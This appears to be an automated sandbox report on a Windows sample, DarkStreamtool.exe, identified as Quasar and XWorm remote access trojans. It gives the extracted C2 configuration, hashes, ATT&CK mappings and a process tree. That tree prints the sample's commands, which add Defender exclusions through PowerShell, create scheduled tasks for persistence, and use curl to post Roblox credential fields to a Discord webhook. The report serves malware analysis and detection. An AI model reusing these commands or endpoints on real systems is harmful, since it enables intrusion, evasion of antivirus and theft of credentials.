quasar | 8fa822e17a1199c462d0c7c417f86771e2049934bb469f15cfa464168d2734c8

Analysis

max time kernel
298s
max time network
300s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20250128-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250128-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
04-02-2025 11:58

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

DarkStreamtool.exe
Size

4.1MB
MD5

6d9183425590b05efc503b0d0e780f49
SHA1

e3ac46bf52e48cf98988bc908a3a3de431f735a4
SHA256

8fa822e17a1199c462d0c7c417f86771e2049934bb469f15cfa464168d2734c8
SHA512

7fdbe76f8b502197972255cefd1acd5870052f7a2c2e2b4fdefe62cfd8d7870a93b2e24ff77f113bfe4f7c604ff8df7e54228091ff82cd8128886492365f701c
SSDEEP

49152:DBFc8ar83KZDGR8+IMJupLUFFFFFA9MQ195PS096hbHITCOPyWtjXQStUCV4S3I:DBCzDCR8dKFFFFF5IS096ZlGtSYIQJ

Score

10^/10

quasar xworm system use discovery execution persistence rat spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

System Use

search-varies.gl.at.ply.gg:4782

Mutex

b190c4c7-b07b-4e91-b02a-b4c0db119749

Attributes

encryption_key
7EFB9B56C32456D72E73A7558DE372F4393A10ED
install_name
Client.exe
log_directory
Discord
reconnect_delay
3000
startup_key
Discord
subdirectory
SubDir

Extracted

Family

xworm

127.0.0.1:38692

search-varies.gl.at.ply.gg:38692

Attributes

Install_directory
%Userprofile%
install_file
USB.exe

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000b000000027c82-20.dat	family_xworm
behavioral1/memory/2324-58-0x0000000000C50000-0x0000000000CAA000-memory.dmp	family_xworm

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000d000000027c52-4.dat	family_quasar
behavioral1/memory/3520-51-0x00000000007B0000-0x0000000000AD4000-memory.dmp	family_quasar

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2872	powershell.exe
4148	powershell.exe
4012	powershell.exe
1184	powershell.exe
4052	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2580446533-3148764140-1073334258-1000\Control Panel\International\Geo\Nation	DarkStreamtool.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2580446533-3148764140-1073334258-1000\Control Panel\International\Geo\Nation	SilverClient1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2580446533-3148764140-1073334258-1000\Control Panel\International\Geo\Nation	DarkStream rat.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System User.lnk	DarkStream rat.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System User.lnk	DarkStream rat.exe

Executes dropped EXE 5 IoCs

pid	Process
3520	Client-built.exe
2324	DarkStream rat.exe
3108	DarkStream.exe
4648	SilverClient1.exe
4908	Client.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2580446533-3148764140-1073334258-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System User = "C:\\Users\\Admin\\System User"	DarkStream rat.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	discord.com
2	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\system32\SubDir\Client.exe	Client-built.exe
File opened for modification	C:\Windows\system32\SubDir\Client.exe	Client-built.exe
File opened for modification	C:\Windows\system32\SubDir	Client-built.exe
File opened for modification	C:\Windows\system32\SubDir\Client.exe	Client.exe
File opened for modification	C:\Windows\system32\SubDir	Client.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DarkStream.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4088	schtasks.exe
240	schtasks.exe
632	schtasks.exe
548	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2324	DarkStream rat.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4052	powershell.exe
4052	powershell.exe
2872	powershell.exe
2872	powershell.exe
4148	powershell.exe
4148	powershell.exe
4012	powershell.exe
4012	powershell.exe
1184	powershell.exe
1184	powershell.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe
2324	DarkStream rat.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2324	DarkStream rat.exe
Token: SeDebugPrivilege	3520	Client-built.exe
Token: SeDebugPrivilege	4648	SilverClient1.exe
Token: SeDebugPrivilege	4052	powershell.exe
Token: SeIncreaseQuotaPrivilege	4052	powershell.exe
Token: SeSecurityPrivilege	4052	powershell.exe
Token: SeTakeOwnershipPrivilege	4052	powershell.exe
Token: SeLoadDriverPrivilege	4052	powershell.exe
Token: SeSystemProfilePrivilege	4052	powershell.exe
Token: SeSystemtimePrivilege	4052	powershell.exe
Token: SeProfSingleProcessPrivilege	4052	powershell.exe
Token: SeIncBasePriorityPrivilege	4052	powershell.exe
Token: SeCreatePagefilePrivilege	4052	powershell.exe
Token: SeBackupPrivilege	4052	powershell.exe
Token: SeRestorePrivilege	4052	powershell.exe
Token: SeShutdownPrivilege	4052	powershell.exe
Token: SeDebugPrivilege	4052	powershell.exe
Token: SeSystemEnvironmentPrivilege	4052	powershell.exe
Token: SeRemoteShutdownPrivilege	4052	powershell.exe
Token: SeUndockPrivilege	4052	powershell.exe
Token: SeManageVolumePrivilege	4052	powershell.exe
Token: 33	4052	powershell.exe
Token: 34	4052	powershell.exe
Token: 35	4052	powershell.exe
Token: 36	4052	powershell.exe
Token: SeDebugPrivilege	4908	Client.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeIncreaseQuotaPrivilege	2872	powershell.exe
Token: SeSecurityPrivilege	2872	powershell.exe
Token: SeTakeOwnershipPrivilege	2872	powershell.exe
Token: SeLoadDriverPrivilege	2872	powershell.exe
Token: SeSystemProfilePrivilege	2872	powershell.exe
Token: SeSystemtimePrivilege	2872	powershell.exe
Token: SeProfSingleProcessPrivilege	2872	powershell.exe
Token: SeIncBasePriorityPrivilege	2872	powershell.exe
Token: SeCreatePagefilePrivilege	2872	powershell.exe
Token: SeBackupPrivilege	2872	powershell.exe
Token: SeRestorePrivilege	2872	powershell.exe
Token: SeShutdownPrivilege	2872	powershell.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeSystemEnvironmentPrivilege	2872	powershell.exe
Token: SeRemoteShutdownPrivilege	2872	powershell.exe
Token: SeUndockPrivilege	2872	powershell.exe
Token: SeManageVolumePrivilege	2872	powershell.exe
Token: 33	2872	powershell.exe
Token: 34	2872	powershell.exe
Token: 35	2872	powershell.exe
Token: 36	2872	powershell.exe
Token: SeDebugPrivilege	4148	powershell.exe
Token: SeIncreaseQuotaPrivilege	4148	powershell.exe
Token: SeSecurityPrivilege	4148	powershell.exe
Token: SeTakeOwnershipPrivilege	4148	powershell.exe
Token: SeLoadDriverPrivilege	4148	powershell.exe
Token: SeSystemProfilePrivilege	4148	powershell.exe
Token: SeSystemtimePrivilege	4148	powershell.exe
Token: SeProfSingleProcessPrivilege	4148	powershell.exe
Token: SeIncBasePriorityPrivilege	4148	powershell.exe
Token: SeCreatePagefilePrivilege	4148	powershell.exe
Token: SeBackupPrivilege	4148	powershell.exe
Token: SeRestorePrivilege	4148	powershell.exe
Token: SeShutdownPrivilege	4148	powershell.exe
Token: SeDebugPrivilege	4148	powershell.exe
Token: SeSystemEnvironmentPrivilege	4148	powershell.exe
Token: SeRemoteShutdownPrivilege	4148	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4908	Client.exe
2324	DarkStream rat.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 1476 wrote to memory of 3520	1476	DarkStreamtool.exe	83
PID 1476 wrote to memory of 3520	1476	DarkStreamtool.exe	83
PID 1476 wrote to memory of 2324	1476	DarkStreamtool.exe	84
PID 1476 wrote to memory of 2324	1476	DarkStreamtool.exe	84
PID 1476 wrote to memory of 3108	1476	DarkStreamtool.exe	85
PID 1476 wrote to memory of 3108	1476	DarkStreamtool.exe	85
PID 1476 wrote to memory of 3108	1476	DarkStreamtool.exe	85
PID 1476 wrote to memory of 4648	1476	DarkStreamtool.exe	87
PID 1476 wrote to memory of 4648	1476	DarkStreamtool.exe	87
PID 4648 wrote to memory of 4052	4648	SilverClient1.exe	88
PID 4648 wrote to memory of 4052	4648	SilverClient1.exe	88
PID 4648 wrote to memory of 632	4648	SilverClient1.exe	89
PID 4648 wrote to memory of 632	4648	SilverClient1.exe	89
PID 3108 wrote to memory of 3260	3108	DarkStream.exe	90
PID 3108 wrote to memory of 3260	3108	DarkStream.exe	90
PID 3520 wrote to memory of 548	3520	Client-built.exe	94
PID 3520 wrote to memory of 548	3520	Client-built.exe	94
PID 3520 wrote to memory of 4908	3520	Client-built.exe	96
PID 3520 wrote to memory of 4908	3520	Client-built.exe	96
PID 4908 wrote to memory of 4088	4908	Client.exe	98
PID 4908 wrote to memory of 4088	4908	Client.exe	98
PID 2324 wrote to memory of 2872	2324	DarkStream rat.exe	100
PID 2324 wrote to memory of 2872	2324	DarkStream rat.exe	100
PID 2324 wrote to memory of 4148	2324	DarkStream rat.exe	102
PID 2324 wrote to memory of 4148	2324	DarkStream rat.exe	102
PID 2324 wrote to memory of 4012	2324	DarkStream rat.exe	104
PID 2324 wrote to memory of 4012	2324	DarkStream rat.exe	104
PID 2324 wrote to memory of 1184	2324	DarkStream rat.exe	106
PID 2324 wrote to memory of 1184	2324	DarkStream rat.exe	106
PID 2324 wrote to memory of 240	2324	DarkStream rat.exe	108
PID 2324 wrote to memory of 240	2324	DarkStream rat.exe	108
PID 3260 wrote to memory of 2168	3260	cmd.exe	110
PID 3260 wrote to memory of 2168	3260	cmd.exe	110

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	13	curl/8.7.1

C:\Users\Admin\AppData\Local\Temp\DarkStreamtool.exe
"C:\Users\Admin\AppData\Local\Temp\DarkStreamtool.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1476
- C:\Users\Admin\AppData\Roaming\Client-built.exe
  "C:\Users\Admin\AppData\Roaming\Client-built.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3520
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "Discord" /sc ONLOGON /tr "C:\Windows\system32\SubDir\Client.exe" /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:548
- - C:\Windows\system32\SubDir\Client.exe
    "C:\Windows\system32\SubDir\Client.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4908
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "Discord" /sc ONLOGON /tr "C:\Windows\system32\SubDir\Client.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4088
- C:\Users\Admin\AppData\Roaming\DarkStream rat.exe
  "C:\Users\Admin\AppData\Roaming\DarkStream rat.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2324
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\DarkStream rat.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2872
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'DarkStream rat.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4148
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\System User'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System User'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1184
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System User" /tr "C:\Users\Admin\System User"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:240
- C:\Users\Admin\AppData\Roaming\DarkStream.exe
  "C:\Users\Admin\AppData\Roaming\DarkStream.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3108
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\784D.tmp\784E.tmp\784F.bat C:\Users\Admin\AppData\Roaming\DarkStream.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3260
  - - C:\Windows\system32\curl.exe
      curl -H "Content-Type: application/json" -X POST -d "{\"content\":\"@everyone @here Your Roblox Username: Roblox \\nYour Password: roblox \\nYour Roblox Cookie: asdasd \\nWebhook1 URL: asdasd\"}" https://discordapp.com/api/webhooks/1324911366091571302/efZRWNiEBUsadKDjEZa8bbpqUtdcRCdAQWsUxNDTsddKSaiyb6aTzLLTa5R9hWQY9Qow
      4⤵
      PID:2168
- C:\Users\Admin\AppData\Roaming\SilverClient1.exe
  "C:\Users\Admin\AppData\Roaming\SilverClient1.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4648
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4052
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /sc daily /tn "_Task-DAILY-21PM" /TR "%MyFile%" /ST 21:00
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:632

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c93b17f97715f88f95a76174b56567f8

SHA1
793aa0a974455af3e282822485d6253c77f4b20d

SHA256
58cc50193dcd13022a9049f02f989294ad7739ad87106811e0b1c1486ee0bcb8

SHA512
bbae3e8d4718d8e7ea50cf0b025effc227df1a3d4785e8cc88e05d1b2d80a1a32c03864064a3b6cb25a18f4d86ec07e95c1ba03fa6be43447675d7a859d3f364

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
85e8121ba94480e293a66423841d414c

SHA1
4b2ccb305a86cc40082aca8e87e8f205347a456e

SHA256
ed29479ad5ba86b59f0088cebdb845862ad4cffc96ece1f4ff7de8e511fc5c17

SHA512
c9922c941f26be1f63ccb00106cc8b3e2025fc176e7a4f099a008fe3f89afebd6a1e99b73b3dd322c3b26a0aece60091ea48e433a1df586aa4fcda5cf666b692

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
066d7a664db2b501867c3274116fa5bb

SHA1
3514956514f3dd4334c39dfef89e079a50b04695

SHA256
900bdacbe2e6fcddc3dbf613a5f29a8e3f6eca3a57681c3b3c3cae2ab7b190ca

SHA512
85efdd87bc36f6b96b1b5d126c4208921fa1aa46a7f1de91fe858e59dc47c942873b99b9bb96d12307f8534bec8e4586862edbfad76304b167f3c6d9e4a6fa5e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6a807b1c91ac66f33f88a787d64904c1

SHA1
83c554c7de04a8115c9005709e5cd01fca82c5d3

SHA256
155314c1c86d8d4e5b802f1eef603c5dd4a2f7c949f069a38af5ba4959bd8256

SHA512
29f2d9f30fc081e7fe6e9fb772c810c9be0422afdc6aff5a286f49a990ededebcf0d083798c2d9f41ad8434393c6d0f5fa6df31226d9c3511ba2a41eb4a65200

Download Submit
C:\Users\Admin\AppData\Local\Temp\784D.tmp\784E.tmp\784F.bat

Filesize
3KB

MD5
d9c237dadc0e155944d2b84dff601e0a

SHA1
3ccb2f199e177a0b4604141a238225c6480be5ff

SHA256
11b56089d5a7ecef6f269cf35e0d16d5d8a617d5950dbaca1d1a6961e9bcb1ab

SHA512
bbe9d2c2a081be2facf147510fa076b54a8b98d7bb5268dad4d92b5b76aa385574fea6545ea729b00b0dda83af3115471272fb25784eefaac66341ee8b21aed6

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2oum32bc.qjq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Client-built.exe

Filesize
3.1MB

MD5
3fe1ee7622b3c2a1963b19492be48f94

SHA1
2bd82d9bc775e51812d8b79dd50dfacf27cc8fbe

SHA256
6e0d421546daee69c012b490df597fa44f12e3f231de7d47d2cc63fb58caf222

SHA512
dfbf124a4bffe65f3ae3caae2cdd9ce8b1968f0b07181b3053ee3cb46a90348a7d7f7b9a98012483485f71c523fc1076c28cdd42c9db4f96fce61114505f70be

Download Submit
C:\Users\Admin\AppData\Roaming\DarkStream rat.exe

Filesize
336KB

MD5
0af66d0aceba9b0bd6c9afa1db47f3ea

SHA1
7332728e637c0d3eb37337b853a5f7bb15269f1f

SHA256
406e38f3a4ecb5c65c553c5cb9d50d801d23a054cc85a92fc02e9ee91423fae1

SHA512
d87bd47bd178e655f69b15389410cced6560d8623dbb2463a7b161c0a6ea22386257f05d60fc40c0862ab6c29bfa5030272353bcfb8957ffc89d9022b7b65029

Download Submit
C:\Users\Admin\AppData\Roaming\DarkStream.exe

Filesize
356KB

MD5
2842a6174f32275bb7f0d60424eceedc

SHA1
1aa05132bf6bd5235aa59520d3b78f0710b44031

SHA256
d2fe7f3dacce7205dd6a3b951bf9d215c9175540e7ec6ef460d0767893ddcb8f

SHA512
e79d553b9f29e6d3745adc712c73d6ed587ff4d7f80d55b0422f6127999d6a298dccb7d4d543b31645d433e7945950c472eaeb386577e402b733cc1f7393a023

Download Submit
C:\Users\Admin\AppData\Roaming\SilverClient1.exe

Filesize
35KB

MD5
d5fed599d7b568f20b8e81e1f4246366

SHA1
a6e80d11f33ccda19984a793a97f99e79124d4bf

SHA256
4b2ee2022a19530f6e4db15f866c5e5f713f254e578edd4cee0c5c1fe2c05a2e

SHA512
88d3d560c79799ae163b8bfee461b8ccba703035cf8e7ee06d004e3836afa4c5c1d44888929ebb16d0e05799a5fff8d9a741cdc25d94a3e907a76a0705186663

Download Submit
memory/1476-1-0x0000000000860000-0x0000000000C80000-memory.dmp

Filesize
4.1MB

Download
memory/1476-0-0x00007FFA547A3000-0x00007FFA547A5000-memory.dmp

Filesize
8KB

Download
memory/2324-133-0x00007FFA547A0000-0x00007FFA55262000-memory.dmp

Filesize
10.8MB

Download
memory/2324-59-0x00007FFA547A0000-0x00007FFA55262000-memory.dmp

Filesize
10.8MB

Download
memory/2324-58-0x0000000000C50000-0x0000000000CAA000-memory.dmp

Filesize
360KB

Download
memory/3520-51-0x00000000007B0000-0x0000000000AD4000-memory.dmp

Filesize
3.1MB

Download
memory/3520-75-0x00007FFA547A0000-0x00007FFA55262000-memory.dmp

Filesize
10.8MB

Download
memory/3520-55-0x00007FFA547A0000-0x00007FFA55262000-memory.dmp

Filesize
10.8MB

Download
memory/4052-69-0x0000020CF0190000-0x0000020CF01B2000-memory.dmp

Filesize
136KB

Download
memory/4648-56-0x0000000000FE0000-0x0000000000FEE000-memory.dmp

Filesize
56KB

Download
memory/4908-79-0x000000001CBA0000-0x000000001CC52000-memory.dmp

Filesize
712KB

Download
memory/4908-78-0x00000000030F0000-0x0000000003140000-memory.dmp

Filesize
320KB

Download
memory/4908-125-0x000000001D390000-0x000000001D8B8000-memory.dmp

Filesize
5.2MB

Download